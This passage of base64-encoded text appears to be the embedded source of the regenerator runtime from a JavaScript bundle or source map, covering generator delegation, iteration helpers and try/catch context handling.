mcgY29udGV4dC5tZXRob2QgYW5kIGNvbnRleHQuYXJnLFxuICAvLyBzZXR0aW5nIGNvbnRleHQuZGVsZWdhdGUgdG8gbnVsbCwgYW5kIHJldHVybmluZyB0aGUgQ29udGludWVTZW50aW5lbC5cbiAgZnVuY3Rpb24gbWF5YmVJbnZva2VEZWxlZ2F0ZShkZWxlZ2F0ZSwgY29udGV4dCkge1xuICAgIHZhciBtZXRob2QgPSBkZWxlZ2F0ZS5pdGVyYXRvcltjb250ZXh0Lm1ldGhvZF07XG4gICAgaWYgKG1ldGhvZCA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICAvLyBBIC50aHJvdyBvciAucmV0dXJuIHdoZW4gdGhlIGRlbGVnYXRlIGl0ZXJhdG9yIGhhcyBubyAudGhyb3dcbiAgICAgIC8vIG1ldGhvZCBhbHdheXMgdGVybWluYXRlcyB0aGUgeWllbGQqIGxvb3AuXG4gICAgICBjb250ZXh0LmRlbGVnYXRlID0gbnVsbDtcblxuICAgICAgaWYgKGNvbnRleHQubWV0aG9kID09PSBcInRocm93XCIpIHtcbiAgICAgICAgaWYgKGRlbGVnYXRlLml0ZXJhdG9yLnJldHVybikge1xuICAgICAgICAgIC8vIElmIHRoZSBkZWxlZ2F0ZSBpdGVyYXRvciBoYXMgYSByZXR1cm4gbWV0aG9kLCBnaXZlIGl0IGFcbiAgICAgICAgICAvLyBjaGFuY2UgdG8gY2xlYW4gdXAuXG4gICAgICAgICAgY29udGV4dC5tZXRob2QgPSBcInJldHVyblwiO1xuICAgICAgICAgIGNvbnRleHQuYXJnID0gdW5kZWZpbmVkO1xuICAgICAgICAgIG1heWJlSW52b2tlRGVsZWdhdGUoZGVsZWdhdGUsIGNvbnRleHQpO1xuXG4gICAgICAgICAgaWYgKGNvbnRleHQubWV0aG9kID09PSBcInRocm93XCIpIHtcbiAgICAgICAgICAgIC8vIElmIG1heWJlSW52b2tlRGVsZWdhdGUoY29udGV4dCkgY2hhbmdlZCBjb250ZXh0Lm1ldGhvZCBmcm9tXG4gICAgICAgICAgICAvLyBcInJldHVyblwiIHRvIFwidGhyb3dcIiwgbGV0IHRoYXQgb3ZlcnJpZGUgdGhlIFR5cGVFcnJvciBiZWxvdy5cbiAgICAgICAgICAgIHJldHVybiBDb250aW51ZVNlbnRpbmVsO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIGNvbnRleHQubWV0aG9kID0gXCJ0aHJvd1wiO1xuICAgICAgICBjb250ZXh0LmFyZyA9IG5ldyBUeXBlRXJyb3IoXG4gICAgICAgICAgXCJUaGUgaXRlcmF0b3IgZG9lcyBub3QgcHJvdmlkZSBhICd0aHJvdycgbWV0aG9kXCIpO1xuICAgICAgfVxuXG4gICAgICByZXR1cm4gQ29udGludWVTZW50aW5lbDtcbiAgICB9XG5cbiAgICB2YXIgcmVjb3JkID0gdHJ5Q2F0Y2gobWV0aG9kLCBkZWxlZ2F0ZS5pdGVyYXRvciwgY29udGV4dC5hcmcpO1xuXG4gICAgaWYgKHJlY29yZC50eXBlID09PSBcInRocm93XCIpIHtcbiAgICAgIGNvbnRleHQubWV0aG9kID0gXCJ0aHJvd1wiO1xuICAgICAgY29udGV4dC5hcmcgPSByZWNvcmQuYXJnO1xuICAgICAgY29udGV4dC5kZWxlZ2F0ZSA9IG51bGw7XG4gICAgICByZXR1cm4gQ29udGludWVTZW50aW5lbDtcbiAgICB9XG5cbiAgICB2YXIgaW5mbyA9IHJlY29yZC5hcmc7XG5cbiAgICBpZiAoISBpbmZvKSB7XG4gICAgICBjb250ZXh0Lm1ldGhvZCA9IFwidGhyb3dcIjtcbiAgICAgIGNvbnRleHQuYXJnID0gbmV3IFR5cGVFcnJvcihcIml0ZXJhdG9yIHJlc3VsdCBpcyBub3QgYW4gb2JqZWN0XCIpO1xuICAgICAgY29udGV4dC5kZWxlZ2F0ZSA9IG51bGw7XG4gICAgICByZXR1cm4gQ29udGludWVTZW50aW5lbDtcbiAgICB9XG5cbiAgICBpZiAoaW5mby5kb25lKSB7XG4gICAgICAvLyBBc3NpZ24gdGhlIHJlc3VsdCBvZiB0aGUgZmluaXNoZWQgZGVsZWdhdGUgdG8gdGhlIHRlbXBvcmFyeVxuICAgICAgLy8gdmFyaWFibGUgc3BlY2lmaWVkIGJ5IGRlbGVnYXRlLnJlc3VsdE5hbWUgKHNlZSBkZWxlZ2F0ZVlpZWxkKS5cbiAgICAgIGNvbnRleHRbZGVsZWdhdGUucmVzdWx0TmFtZV0gPSBpbmZvLnZhbHVlO1xuXG4gICAgICAvLyBSZXN1bWUgZXhlY3V0aW9uIGF0IHRoZSBkZXNpcmVkIGxvY2F0aW9uIChzZWUgZGVsZWdhdGVZaWVsZCkuXG4gICAgICBjb250ZXh0Lm5leHQgPSBkZWxlZ2F0ZS5uZXh0TG9jO1xuXG4gICAgICAvLyBJZiBjb250ZXh0Lm1ldGhvZCB3YXMgXCJ0aHJvd1wiIGJ1dCB0aGUgZGVsZWdhdGUgaGFuZGxlZCB0aGVcbiAgICAgIC8vIGV4Y2VwdGlvbiwgbGV0IHRoZSBvdXRlciBnZW5lcmF0b3IgcHJvY2VlZCBub3JtYWxseS4gSWZcbiAgICAgIC8vIGNvbnRleHQubWV0aG9kIHdhcyBcIm5leHRcIiwgZm9yZ2V0IGNvbnRleHQuYXJnIHNpbmNlIGl0IGhhcyBiZWVuXG4gICAgICAvLyBcImNvbnN1bWVkXCIgYnkgdGhlIGRlbGVnYXRlIGl0ZXJhdG9yLiBJZiBjb250ZXh0Lm1ldGhvZCB3YXNcbiAgICAgIC8vIFwicmV0dXJuXCIsIGFsbG93IHRoZSBvcmlnaW5hbCAucmV0dXJuIGNhbGwgdG8gY29udGludWUgaW4gdGhlXG4gICAgICAvLyBvdXRlciBnZW5lcmF0b3IuXG4gICAgICBpZiAoY29udGV4dC5tZXRob2QgIT09IFwicmV0dXJuXCIpIHtcbiAgICAgICAgY29udGV4dC5tZXRob2QgPSBcIm5leHRcIjtcbiAgICAgICAgY29udGV4dC5hcmcgPSB1bmRlZmluZWQ7XG4gICAgICB9XG5cbiAgICB9IGVsc2Uge1xuICAgICAgLy8gUmUteWllbGQgdGhlIHJlc3VsdCByZXR1cm5lZCBieSB0aGUgZGVsZWdhdGUgbWV0aG9kLlxuICAgICAgcmV0dXJuIGluZm87XG4gICAgfVxuXG4gICAgLy8gVGhlIGRlbGVnYXRlIGl0ZXJhdG9yIGlzIGZpbmlzaGVkLCBzbyBmb3JnZXQgaXQgYW5kIGNvbnRpbnVlIHdpdGhcbiAgICAvLyB0aGUgb3V0ZXIgZ2VuZXJhdG9yLlxuICAgIGNvbnRleHQuZGVsZWdhdGUgPSBudWxsO1xuICAgIHJldHVybiBDb250aW51ZVNlbnRpbmVsO1xuICB9XG5cbiAgLy8gRGVmaW5lIEdlbmVyYXRvci5wcm90b3R5cGUue25leHQsdGhyb3cscmV0dXJufSBpbiB0ZXJtcyBvZiB0aGVcbiAgLy8gdW5pZmllZCAuX2ludm9rZSBoZWxwZXIgbWV0aG9kLlxuICBkZWZpbmVJdGVyYXRvck1ldGhvZHMoR3ApO1xuXG4gIEdwW3RvU3RyaW5nVGFnU3ltYm9sXSA9IFwiR2VuZXJhdG9yXCI7XG5cbiAgLy8gQSBHZW5lcmF0b3Igc2hvdWxkIGFsd2F5cyByZXR1cm4gaXRzZWxmIGFzIHRoZSBpdGVyYXRvciBvYmplY3Qgd2hlbiB0aGVcbiAgLy8gQEBpdGVyYXRvciBmdW5jdGlvbiBpcyBjYWxsZWQgb24gaXQuIFNvbWUgYnJvd3NlcnMnIGltcGxlbWVudGF0aW9ucyBvZiB0aGVcbiAgLy8gaXRlcmF0b3IgcHJvdG90eXBlIGNoYWluIGluY29ycmVjdGx5IGltcGxlbWVudCB0aGlzLCBjYXVzaW5nIHRoZSBHZW5lcmF0b3JcbiAgLy8gb2JqZWN0IHRvIG5vdCBiZSByZXR1cm5lZCBmcm9tIHRoaXMgY2FsbC4gVGhpcyBlbnN1cmVzIHRoYXQgZG9lc24ndCBoYXBwZW4uXG4gIC8vIFNlZSBodHRwczovL2dpdGh1Yi5jb20vZmFjZWJvb2svcmVnZW5lcmF0b3IvaXNzdWVzLzI3NCBmb3IgbW9yZSBkZXRhaWxzLlxuICBHcFtpdGVyYXRvclN5bWJvbF0gPSBmdW5jdGlvbigpIHtcbiAgICByZXR1cm4gdGhpcztcbiAgfTtcblxuICBHcC50b1N0cmluZyA9IGZ1bmN0aW9uKCkge1xuICAgIHJldHVybiBcIltvYmplY3QgR2VuZXJhdG9yXVwiO1xuICB9O1xuXG4gIGZ1bmN0aW9uIHB1c2hUcnlFbnRyeShsb2NzKSB7XG4gICAgdmFyIGVudHJ5ID0geyB0cnlMb2M6IGxvY3NbMF0gfTtcblxuICAgIGlmICgxIGluIGxvY3MpIHtcbiAgICAgIGVudHJ5LmNhdGNoTG9jID0gbG9jc1sxXTtcbiAgICB9XG5cbiAgICBpZiAoMiBpbiBsb2NzKSB7XG4gICAgICBlbnRyeS5maW5hbGx5TG9jID0gbG9jc1syXTtcbiAgICAgIGVudHJ5LmFmdGVyTG9jID0gbG9jc1szXTtcbiAgICB9XG5cbiAgICB0aGlzLnRyeUVudHJpZXMucHVzaChlbnRyeSk7XG4gIH1cblxuICBmdW5jdGlvbiByZXNldFRyeUVudHJ5KGVudHJ5KSB7XG4gICAgdmFyIHJlY29yZCA9IGVudHJ5LmNvbXBsZXRpb24gfHwge307XG4gICAgcmVjb3JkLnR5cGUgPSBcIm5vcm1hbFwiO1xuICAgIGRlbGV0ZSByZWNvcmQuYXJnO1xuICAgIGVudHJ5LmNvbXBsZXRpb24gPSByZWNvcmQ7XG4gIH1cblxuICBmdW5jdGlvbiBDb250ZXh0KHRyeUxvY3NMaXN0KSB7XG4gICAgLy8gVGhlIHJvb3QgZW50cnkgb2JqZWN0IChlZmZlY3RpdmVseSBhIHRyeSBzdGF0ZW1lbnQgd2l0aG91dCBhIGNhdGNoXG4gICAgLy8gb3IgYSBmaW5hbGx5IGJsb2NrKSBnaXZlcyB1cyBhIHBsYWNlIHRvIHN0b3JlIHZhbHVlcyB0aHJvd24gZnJvbVxuICAgIC8vIGxvY2F0aW9ucyB3aGVyZSB0aGVyZSBpcyBubyBlbmNsb3NpbmcgdHJ5IHN0YXRlbWVudC5cbiAgICB0aGlzLnRyeUVudHJpZXMgPSBbeyB0cnlMb2M6IFwicm9vdFwiIH1dO1xuICAgIHRyeUxvY3NMaXN0LmZvckVhY2gocHVzaFRyeUVudHJ5LCB0aGlzKTtcbiAgICB0aGlzLnJlc2V0KHRydWUpO1xuICB9XG5cbiAgcnVudGltZS5rZXlzID0gZnVuY3Rpb24ob2JqZWN0KSB7XG4gICAgdmFyIGtleXMgPSBbXTtcbiAgICBmb3IgKHZhciBrZXkgaW4gb2JqZWN0KSB7XG4gICAgICBrZXlzLnB1c2goa2V5KTtcbiAgICB9XG4gICAga2V5cy5yZXZlcnNlKCk7XG5cbiAgICAvLyBSYXRoZXIgdGhhbiByZXR1cm5pbmcgYW4gb2JqZWN0IHdpdGggYSBuZXh0IG1ldGhvZCwgd2Uga2VlcFxuICAgIC8vIHRoaW5ncyBzaW1wbGUgYW5kIHJldHVybiB0aGUgbmV4dCBmdW5jdGlvbiBpdHNlbGYuXG4gICAgcmV0dXJuIGZ1bmN0aW9uIG5leHQoKSB7XG4gICAgICB3aGlsZSAoa2V5cy5sZW5ndGgpIHtcbiAgICAgICAgdmFyIGtleSA9IGtleXMucG9wKCk7XG4gICAgICAgIGlmIChrZXkgaW4gb2JqZWN0KSB7XG4gICAgICAgICAgbmV4dC52YWx1ZSA9IGtleTtcbiAgICAgICAgICBuZXh0LmRvbmUgPSBmYWxzZTtcbiAgICAgICAgICByZXR1cm4gbmV4dDtcbiAgICAgICAgfVxuICAgICAgfVxuXG4gICAgICAvLyBUbyBhdm9pZCBjcmVhdGluZyBhbiBhZGRpdGlvbmFsIG9iamVjdCwgd2UganVzdCBoYW5nIHRoZSAudmFsdWVcbiAgICAgIC8vIGFuZCAuZG9uZSBwcm9wZXJ0aWVzIG9mZiB0aGUgbmV4dCBmdW5jdGlvbiBvYmplY3QgaXRzZWxmLiBUaGlzXG4gICAgICAvLyBhbHNvIGVuc3VyZXMgdGhhdCB0aGUgbWluaWZpZXIgd2lsbCBub3QgYW5vbnltaXplIHRoZSBmdW5jdGlvbi5cbiAgICAgIG5leHQuZG9uZSA9IHRydWU7XG4gICAgICByZXR1cm4gbmV4dDtcbiAgICB9O1xuICB9O1xuXG4gIGZ1bmN0aW9uIHZhbHVlcyhpdGVyYWJsZSkge1xuICAgIGlmIChpdGVyYWJsZSkge1xuICAgICAgdmFyIGl0ZXJhdG9yTWV0aG9kID0gaXRlcmFibGVbaXRlcmF0b3JTeW1ib2xdO1xuICAgICAgaWYgKGl0ZXJhdG9yTWV0aG9kKSB7XG4gICAgICAgIHJldHVybiBpdGVyYXRvck1ldGhvZC5jYWxsKGl0ZXJhYmxlKTtcbiAgICAgIH1cblxuICAgICAgaWYgKHR5cGVvZiBpdGVyYWJsZS5uZXh0ID09PSBcImZ1bmN0aW9uXCIpIHtcbiAgICAgICAgcmV0dXJuIGl0ZXJhYmxlO1xuICAgICAgfVxuXG4gICAgICBpZiAoIWlzTmFOKGl0ZXJhYmxlLmxlbmd0aCkpIHtcbiAgICAgICAgdmFyIGkgPSAtMSwgbmV4dCA9IGZ1bmN0aW9uIG5leHQoKSB7XG4gICAgICAgICAgd2hpbGUgKCsraSA8IGl0ZXJhYmxlLmxlbmd0aCkge1xuICAgICAgICAgICAgaWYgKGhhc093bi5jYWxsKGl0ZXJhYmxlLCBpKSkge1xuICAgICAgICAgICAgICBuZXh0LnZhbHVlID0gaXRlcmFibGVbaV07XG4gICAgICAgICAgICAgIG5leHQuZG9uZSA9IGZhbHNlO1xuICAgICAgICAgICAgICByZXR1cm4gbmV4dDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG5cbiAgICAgICAgICBuZXh0LnZhbHVlID0gdW5kZWZpbmVkO1xuICAgICAgICAgIG5leHQuZG9uZSA9IHRydWU7XG5cbiAgICAgICAgICByZXR1cm4gbmV4dDtcbiAgICAgICAgfTtcblxuICAgICAgICByZXR1cm4gbmV4dC5uZXh0ID0gbmV4dDtcbiAgICAgIH1cbiAgICB9XG5cbiAgICAvLyBSZXR1cm4gYW4gaXRlcmF0b3Igd2l0aCBubyB2YWx1ZXMuXG4gICAgcmV0dXJuIHsgbmV4dDogZG9uZVJlc3VsdCB9O1xuICB9XG4gIHJ1bnRpbWUudmFsdWVzID0gdmFsdWVzO1xuXG4gIGZ1bmN0aW9uIGRvbmVSZXN1bHQoKSB7XG4gICAgcmV0dXJuIHsgdmFsdWU6IHVuZGVmaW5lZCwgZG9uZTogdHJ1ZSB9O1xuICB9XG5cbiAgQ29udGV4dC5wcm90b3R5cGUgPSB7XG4gICAgY29uc3RydWN0b3I6IENvbnRleHQsXG5cbiAgICByZXNldDogZnVuY3Rpb24oc2tpcFRlbXBSZXNldCkge1xuICAgICAgdGhpcy5wcmV2ID0gMDtcbiAgICAgIHRoaXMubmV4dCA9IDA7XG4gICAgICAvLyBSZXNldHRpbmcgY29udGV4dC5fc2VudCBmb3IgbGVnYWN5IHN1cHBvcnQgb2YgQmFiZWwnc1xuICAgICAgLy8gZnVuY3Rpb24uc2VudCBpbXBsZW1lbnRhdGlvbi5cbiAgICAgIHRoaXMuc2VudCA9IHRoaXMuX3NlbnQgPSB1bmRlZmluZWQ7XG4gICAgICB0aGlzLmRvbmUgPSBmYWxzZTtcbiAgICAgIHRoaXMuZGVsZWdhdGUgPSBudWxsO1xuXG4gICAgICB0aGlzLm1ldGhvZCA9IFwibmV4dFwiO1xuICAgICAgdGhpcy5hcmcgPSB1bmRlZmluZWQ7XG5cbiAgICAgIHRoaXMudHJ5RW50cmllcy5mb3JFYWNoKHJlc2V0VHJ5RW50cnkpO1xuXG4gICAgICBpZiAoIXNraXBUZW1wUmVzZXQpIHtcbiAgICAgICAgZm9yICh2YXIgbmFtZSBpbiB0aGlzKSB7XG4gICAgICAgICAgLy8gTm90IHN1cmUgYWJvdXQgdGhlIG9wdGltYWwgb3JkZXIgb2YgdGhlc2UgY29uZGl0aW9uczpcbiAgICAgICAgICBpZiAobmFtZS5jaGFyQXQoMCkgPT09IFwidFwiICYmXG4gICAgICAgICAgICAgIGhhc093bi5jYWxsKHRoaXMsIG5hbWUpICYmXG4gICAgICAgICAgICAgICFpc05hTigrbmFtZS5zbGljZSgxKSkpIHtcbiAgICAgICAgICAgIHRoaXNbbmFtZV0gPSB1bmRlZmluZWQ7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfSxcblxuICAgIHN0b3A6IGZ1bmN0aW9uKCkge1xuICAgICAgdGhpcy5kb25lID0gdHJ1ZTtcblxuICAgICAgdmFyIHJvb3RFbnRyeSA9IHRoaXMudHJ5RW50cmllc1swXTtcbiAgICAgIHZhciByb290UmVjb3JkID0gcm9vdEVudHJ5LmNvbXBsZXRpb247XG4gICAgICBpZiAocm9vdFJlY29yZC50eXBlID09PSBcInRocm93XCIpIHtcbiAgICAgICAgdGhyb3cgcm9vdFJlY29yZC5hcmc7XG4gICAgICB9XG5cbiAgICAgIHJldHVybiB0aGlzLnJ2YWw7XG4gICAgfSxcblxuICAgIGRpc3BhdGNoRXhjZXB0aW9uOiBmdW5jdGlvbihleGNlcHRpb24pIHtcbiAgICAgIGlmICh0aGlzLmRvbmUpIHtcbiAgICAgICAgdGhyb3cgZXhjZXB0aW9uO1xuICAgICAgfVxuXG4gICAgICB2YXIgY29udGV4dCA9IHRoaXM7XG4gICAgICBmdW5jdGlvbiBoYW5kbGUobG9jLCBjYXVnaHQpIHtcbiAgICAgICAgcmVjb3JkLnR5cGUgPSBcInRocm93XCI7XG4gICAgICAgIHJlY29yZC5hcmcgPSBleGNlcHRpb247XG4gICAgICAgIGNvbnRleHQubmV4dCA9IGxvYztcblxuICAgICAgICBpZiAoY2F1Z2h0KSB7XG4gICAgICAgICAgLy8gSWYgdGhlIGRpc3BhdGNoZWQgZXhjZXB0aW9uIHdhcyBjYXVnaHQgYnkgYSBjYXRjaCBibG9jayxcbiAgICAgICAgICAvLyB0aGVuIGxldCB0aGF0IGNhdGNoIGJsb2NrIGhhbmRsZSB0aGUgZXhjZXB0aW9uIG5vcm1hbGx5LlxuICAgICAgICAgIGNvbnRleHQubWV0aG9kID0gXCJuZXh0XCI7XG4gICAgICAgICAgY29udGV4dC5hcmcgPSB1bmRlZmluZWQ7XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gISEgY2F1Z2h0O1xuICAgICAgfVxuXG4gICAgICBmb3IgKHZhciBpID0gdGhpcy50cnlFbnRyaWVzLmxlbmd0aCAtIDE7IGkgPj0gMDsgLS1pKSB7XG4gICAgICAgIHZhciBlbnRyeSA9IHRoaXMudHJ5RW50cmllc1tpXTtcbiAgICAgICAgdmFyIHJlY29yZCA9IGVudHJ5LmNvbXBsZXRpb247XG5cbiAgICAgICAgaWYgKGVudHJ5LnRyeUxvYyA9PT0gXCJyb290XCIpIHtcbiAgICAgICAgICAvLyBFeGNlcHRpb24gdGhyb3duIG91dHNpZGUgb2YgYW55IHRyeSBibG9jayB0aGF0IGNvdWxkIGhhbmRsZVxuICAgICAgICAgIC8vIGl0LCBzbyBzZXQgdGhlIGNvbXBsZXRpb24gdmFsdWUgb2YgdGhlIGVudGlyZSBmdW5jdGlvbiB0b1xuICAgICAgICAgIC8vIHRocm93IHRoZSBleGNlcHRpb24uXG4gICAgICAgICAgcmV0dXJuIGhhbmRsZShcImVuZFwiKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGlmIChlbnRyeS50cnlMb2MgPD0gdGhpcy5wcmV2KSB7XG4gICAgICAgICAgdmFyIGhhc0NhdGNoID0gaGFzT3duLmNhbGwoZW50cnksIFwiY2F0Y2hMb2NcIik7XG4gICAgICAgICAgdmFyIGhhc0ZpbmFsbHkgPSBoYXNPd24uY2FsbChlbnRyeSwgXCJmaW5hbGx5TG9jXCIpO1xuXG4gICAgICAgICAgaWYgKGhhc0NhdGNoICYmIGhhc0ZpbmFsbHkpIHtcbiAgICAgICAgICAgIGlmICh0aGlzLnByZXYgPCBlbnRyeS5jYXRjaExvYykge1xuICAgICAgICAgICAgICByZXR1cm4gaGFuZGxlKGVudHJ5LmNhdGNoTG9jLCB0cnVlKTtcbiAgICAgICAgICAgIH0gZWxzZSBpZiAodGhpcy5wcmV2IDwgZW50cnkuZmluYWxseUxvYykge1xuICAgICAgICAgICAgICByZXR1cm4gaGFuZGxlKGVudHJ5LmZpbmFsbHlMb2MpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgfSBlbHNlIGlmIChoYXNDYXRjaCkge1xuICAgICAgICAgICAgaWYgKHRoaXMucHJldiA8IGVudHJ5LmNhdGNoTG9jKSB7XG4gICAgICAgICAgICAgIHJldHVybiBoYW5kbGUoZW50cnkuY2F0Y2hMb2MsIHRydWUpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgfSBlbHNlIGlmIChoYXNGaW5hbGx5KSB7XG4gICAgICAgICAgICBpZiAodGhpcy5wcmV2IDwgZW50cnkuZmluYWxseUxvYykge1xuICAgICAgICAgICAgICByZXR1cm4gaGFuZGxlKGVudHJ5LmZpbmFsbHlMb2MpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIHRocm93IG5ldyBFcnJvcihcInRyeSBzdGF0ZW1lbnQgd2l0aG91dCBjYXRjaCBvciBmaW5hbGx5XCIpO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgIH0sXG5cbiAgICBhYnJ1cHQ6IGZ1bmN0aW9uKHR5cGUsIGFyZykge1xuICAgICAgZm9yICh2YXIgaSA9IHRoaXMudHJ5RW50cmllcy5sZW5ndGggLSAxOyBpID49IDA7IC0taSkge1xuICAgICAgICB2YXIgZW50cnkgPSB0aGlzLnRyeUVudHJpZXNbaV07XG4gICAgICAgIGlmIChlbnRyeS50cnlMb2MgPD0gdGhpcy5wcmV2ICYmXG4gICAgICAgICAgICBoYXNPd24uY2FsbChlbnRyeSwgXCJmaW5hbGx5TG9jXCIpICYmXG4gICAgICAgICAgICB0aGlzLnByZXYgPCBlbnRyeS5maW5hbGx5TG9jKSB7XG4gICAgICAgICAgdmFyIGZpbmFsbHlFbnRyeSA9IGVudHJ5O1xuICAgICAgICAgIGJyZWFrO1xuICAgICAgICB9XG4gICAgICB9XG5cbiAgICAgIGlmIChmaW5hbGx5RW50cnkgJiZcbiAgICAgICAgICAodHlwZSA9PT0gXCJicmVha1wiIHx8XG4gICAgICAgICAgIHR5cGUgPT09IFwiY29udGludWVcIikgJiZcbiAgICAgICAgICBmaW5hbGx5RW50cnkudHJ5TG9jIDw9IGFyZyAmJlxuICAgICAgICAgIGFyZyA8PSBmaW5hbGx5RW50cnkuZmluYWxseUxvYykge1xuICAgICAgICAvLyBJZ25vcmUgdGhlIGZpbmFsbHkgZW50cnkgaWYgY29udHJvbCBpcyBub3QganVtcGluZyB0byBhXG4gICAgICAgIC8vIGxvY2F0aW9uIG91dHNpZGUgdGhlIHRyeS9jYXRjaCBibG9jay5cbiAgICAgICAgZmluYWxseUVudHJ5ID0gbnVsbDtcbiAgICAgIH1cblxuICAgICAgdmFyIHJlY29yZCA9IGZpbmFsbHlFbnRyeSA/IGZpbmFsbHlFbnRyeS5jb21wbGV0aW9uIDoge307XG4gICAgICByZWNvcmQudHlwZSA9IHR5cGU7XG4gICAgICByZWNvcmQuYXJnID0gYXJnO1xuXG4gICAgICBpZiAoZmluYWxseUVudHJ5KSB7XG4gICAgICAgIHRoaXMubWV0aG9kID0gXCJuZXh0XCI7XG4gICAgICAgIHRoaXMubmV4dCA9IGZpbmFsbHlFbnRyeS5maW5hbGx5TG9jO1xuICAgICAgICByZXR1cm4gQ29udGludWVTZW50aW5lbDtcbiAgICAgIH1cblxuICAgICAgcmV0dXJuIHRoaXMuY29tcGxldGUocmVjb3JkKTtcbiAgICB9LFxuXG4gICAgY29tcGxldGU6IGZ1bmN0aW9uKHJlY29yZCwgYWZ0ZXJMb2MpIHtcbiAgICAgIGlmIChyZWNvcmQudHlwZSA9PT0gXCJ0aHJvd1wiKSB7XG4gICAgICAgIHRocm93IHJlY29yZC5hcmc7XG4gICAgICB9XG5cbiAgICAgIGlmIChyZWNvcmQudHlwZSA9PT0gXCJicmVha1wiIHx8XG4gICAgICAgICAgcmVjb3JkLnR5cGUgPT09IFwiY29udGludWVcIikge1xuICAgICAgICB0aGlzLm5leHQgPSByZWNvcmQuYXJnO1xuICAgICAgfSBlbHNlIGlmIChyZWNvcmQudHlwZSA9PT0gXCJyZXR1cm5cIikge1xuICAgICAgICB0aGlzLnJ2YWwgPSB0aGlzLmFyZyA9IHJlY29yZC5hcmc7XG4gICAgICAgIHRoaXMubWV0aG9kID0gXCJyZXR1cm5cIjtcbiAgICAgICAgdGhpcy5uZXh0ID0gXCJlbmRcIjtcbiAgICAgIH0gZWxzZSBpZiAocmVjb3JkLnR5cGUgPT09IFwibm9ybWFsXCIgJiYgYWZ0ZXJMb2MpIHtcbiAgICAgICAgdGhpcy5uZXh0ID0gYWZ0ZXJMb2M7XG4gICAgICB9XG5cbiAgICAgIHJldHVybiBDb250aW51ZVNlbnRpbmVsO1xuICAgIH0sXG5cbiAgICBmaW5pc2g6IGZ1bmN0aW9uKGZpbmFsbHlMb2MpIHtcbiAgICAgIGZvciAodmFyIGkgPSB0aGlzLnRyeUVudHJpZXMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpIHtcbiAgICAgICAgdmFyIGVudHJ5ID0gdGhpcy50cnlFbnRyaWVzW2ldO1xuICAgICAgICBpZiAoZW50cnkuZmluYWxseUxvYyA9PT0gZmluYWxseUxvYykge1xuICAgICAgICAgIHRoaXMuY29tcGxldGUoZW50cnkuY29tcGxldGlvbiwgZW50cnkuYWZ0ZXJMb2MpO1xuICAgICAgICAgIHJlc2V0VHJ5RW50cnkoZW50cnkpO1xuICAgICAgICAgIHJldHVybiBDb250aW51ZVNlbnRpbmVsO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfSxcblxuICAgIFwiY2F0Y2hcIjogZnVuY3Rpb24odHJ5TG9jKSB7XG4gICAgICBmb3IgKHZhciBpID0gdGhpcy50cnlFbnRyaWVzLmxlbmd0aCAtIDE7IGkgPj0gMDsgLS1pKSB7XG4gICAgICAgIHZhciBlbnRyeSA9IHRoaXMudHJ5RW50cmllc1tpXTtcbiAgICAgICAgaWYgKGVudHJ5LnRyeUxvYyA9PT0gdHJ5TG9jKSB7XG4gICAgICAgICAgdmFyIHJlY29yZCA9IGVudHJ5LmNvbXBsZXRpb247XG4gICAgICAgICAgaWYgKHJlY29yZC50eXBlID09PSBcInRocm93XCIpIHtcbiAgICAgICAgICAgIHZhciB0aHJvd24gPSByZWNvcmQuYXJnO1xuICAgICAgICAgICAgcmVzZXRUcnlFbnRyeShlbnRyeSk7XG4gICAgICAgICAgfVxuICAgICAgICAgIHJldHVybiB0aHJvd247XG4gICAgICAgIH1cbiAgICAgIH1cblxuICAgICAgLy8gVGhlIGNvbnRleHQuY2F0Y2ggbWV0aG9kIG11c3Qgb25seSBiZSBjYWxsZWQgd2l0aCBhIGxvY2F0aW9uXG4gICAgICAvLyBhcmd1bWVudCB0aGF0IGNvcnJlc3BvbmRzIHRvIGEga25vd24gY2F0Y2ggYmxvY2suXG4gICAgICB0aHJvdyBuZXcgRXJyb3IoXCJpbGxlZ2FsIGNhdGNoIGF0dGVtcHRcIik7XG4gICAgfSxcblxuICAgIGRlbGVnYXRlWWllbGQ6IGZ1bmN0aW9uKGl0ZXJhYmxlLCByZXN1bHROYW1lLCBuZXh0TG9jKSB7XG4gICAgICB0aGlzLmRlbGVnYXRlID0ge1xuICAgICAgICBpdGVyYXRvcjogdmFsdWVzKGl0ZXJhYmxlKSxcbiAgICAgICAgcmVzdWx0TmFtZTogcmVzdWx0TmFtZSxcbiAgICAgICAgbmV4dExvYzogbmV4dExvY1xuICAgICAgfTtcblxuICAgICAgaWYgKHRoaXMubWV0aG9kID09PSBcIm5leHRcIikge1xuICAgICAgICAvLyBEZWxpYmVyYXRlbHkgZm9yZ2V0IHRoZSBsYXN0IHNlbnQgdmFsdWUgc28gdGhhdCB3ZSBkb24ndFxuICAgICAgICAvLyBhY2NpZGVudGFsbHkgcGFzcyBpdCBvbiB0byB0aGUgZGVsZWdhdGUuXG4gICAgICAgIHRoaXMuYXJnID0gdW5kZWZpbmVkO1xuICAgICAgfVxuXG4gICAgICByZXR1cm4gQ29udGludWVTZW50aW5lbDtcbiAgICB9XG4gIH07XG59KShcbiAgLy8gSW4gc2xvcHB5IG1vZGUsIHVuYm91bmQgYHRoaXNgIHJlZmVycyB0byB0aGUgZ2xvYmFsIG9iamVjdCwgZmFsbGJhY2sgdG9cbiAgLy8gRnVuY3Rpb24gY29uc3RydWN0b3IgaWYgd2UncmUgaW4gZ2xvYmFsIHN0cmljdCBtb2RlLiBUaGF0IGlzIHNhZGx5IGEgZm9ybVxuICAvLyBvZiBpbmRpcmVjdCBldmFsIHdoaWNoIHZpb2xhdGVzIENvbnRlbnQgU2VjdXJpdHkgUG9saWN5LlxuICAoZnVuY3Rpb24oKSB7IHJldHVybiB0aGlzIH0pKCkgfHwgRnVuY3Rpb24oXCJyZXR1cm4gdGhpc1wiKSgpXG4pO1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vL